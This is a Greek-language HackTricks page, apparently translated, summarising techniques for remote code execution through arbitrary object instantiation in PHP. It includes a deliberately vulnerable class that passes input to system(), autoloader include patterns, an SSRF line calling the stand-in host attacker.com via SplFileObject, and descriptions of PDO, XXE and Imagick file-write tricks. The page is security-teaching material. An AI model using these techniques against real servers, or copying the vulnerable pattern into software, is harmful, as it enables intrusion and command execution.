PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Support HackTricks

This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Εισαγωγή

Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως το new $_GET["a"]($_GET["a"]), μπορεί να οδηγήσει σε Remote Code Execution (RCE), όπως αναφέρεται σε μια writeup. Αυτό το έγγραφο επισημαίνει διάφορες στρατηγικές για την επίτευξη RCE.

RCE μέσω Προσαρμοσμένων Κλάσεων ή Αυτοφόρτωσης

Η σύνταξη new $a($b) χρησιμοποιείται για την αρχικοποίηση ενός αντικειμένου όπου $a αντιπροσωπεύει το όνομα της κλάσης και $b είναι το πρώτο επιχείρημα που περνάει στον κατασκευαστή. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρηστών όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι.

Σκεφτείτε το παρακάτω απόσπασμα κώδικα:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Σε αυτή την περίπτωση, η ρύθμιση του $a σε App ή App2 και του $b σε μια εντολή συστήματος (π.χ., uname -a) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής.

Οι συναρτήσεις αυτόματης φόρτωσης μπορούν να εκμεταλλευτούν αν δεν είναι άμεσα προσβάσιμες τέτοιες κλάσεις. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας spl_autoload_register ή __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Η συμπεριφορά της αυτόματης φόρτωσης διαφέρει ανάλογα με τις εκδόσεις PHP, προσφέροντας διαφορετικές δυνατότητες RCE.

RCE μέσω Ενσωματωμένων Κλάσεων

Λείποντας προσαρμοσμένες κλάσεις ή αυτόματους φορτωτές, οι ενσωματωμένες κλάσεις PHP μπορεί να είναι επαρκείς για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται μεταξύ 100 και 200, ανάλογα με την έκδοση PHP και τις επεκτάσεις. Μπορούν να καταγραφούν χρησιμοποιώντας get_declared_classes().

Οι κατασκευαστές που ενδιαφέρουν μπορούν να εντοπιστούν μέσω του API αντανάκλασης, όπως φαίνεται στο παρακάτω παράδειγμα και στον σύνδεσμο https://3v4l.org/2JEGF.

Η RCE μέσω συγκεκριμένων μεθόδων περιλαμβάνει:

SSRF + Phar Deserialization

Η κλάση SplFileObject επιτρέπει SSRF μέσω του κατασκευαστή της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL:

new SplFileObject('http://attacker.com/');

SSRF μπορεί να οδηγήσει σε επιθέσεις αποσυμπίεσης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.

Εκμετάλλευση PDOs

Ο κατασκευαστής της κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN συμβολοσειρών, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Οι εκδόσεις του PHP μέχρι 5.3.22 και 5.4.12 ήταν ευάλωτες σε επιθέσεις XXE μέσω των κατασκευαστών SoapClient και SimpleXMLElement, ανάλογα με την έκδοση του libxml2.

RCE μέσω της Επέκτασης Imagick

Στην ανάλυση των εξαρτήσεων ενός έργου, ανακαλύφθηκε ότι η Imagick θα μπορούσε να αξιοποιηθεί για εκτέλεση εντολών δημιουργώντας νέες αντικείμενα. Αυτό προσφέρει μια ευκαιρία για εκμετάλλευση ευπαθειών.

VID parser

Η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων εντοπίστηκε. Αυτό θα μπορούσε να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν διαδικτυακά προσβάσιμο φάκελο, επιτυγχάνοντας Remote Code Execution (RCE).

VID Parser + Αποστολή Αρχείων

Σημειώνεται ότι το PHP αποθηκεύει προσωρινά τα ανεβασμένα αρχεία στο /tmp/phpXXXXXX. Ο VID parser στην Imagick, χρησιμοποιώντας το πρωτόκολλο msl, μπορεί να χειριστεί χαρακτήρες μπαλαντέρ σε διαδρομές αρχείων, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε μια επιλεγμένη τοποθεσία. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για την επίτευξη αυθαίρετης εγγραφής αρχείων στο σύστημα αρχείων.

PHP Crash + Brute Force

Μια μέθοδος που περιγράφεται στο αρχικό κείμενο περιλαμβάνει την αποστολή αρχείων που προκαλούν μια κατάρρευση του διακομιστή πριν από τη διαγραφή. Με την εκτέλεση brute-force στο όνομα του προσωρινού αρχείου, καθίσταται δυνατή η εκτέλεση αυθαίρετου PHP κώδικα από την Imagick. Ωστόσο, αυτή η τεχνική βρέθηκε ότι ήταν αποτελεσματική μόνο σε μια παλιά έκδοση του ImageMagick.

Αναφορές

Support HackTricks

Last updated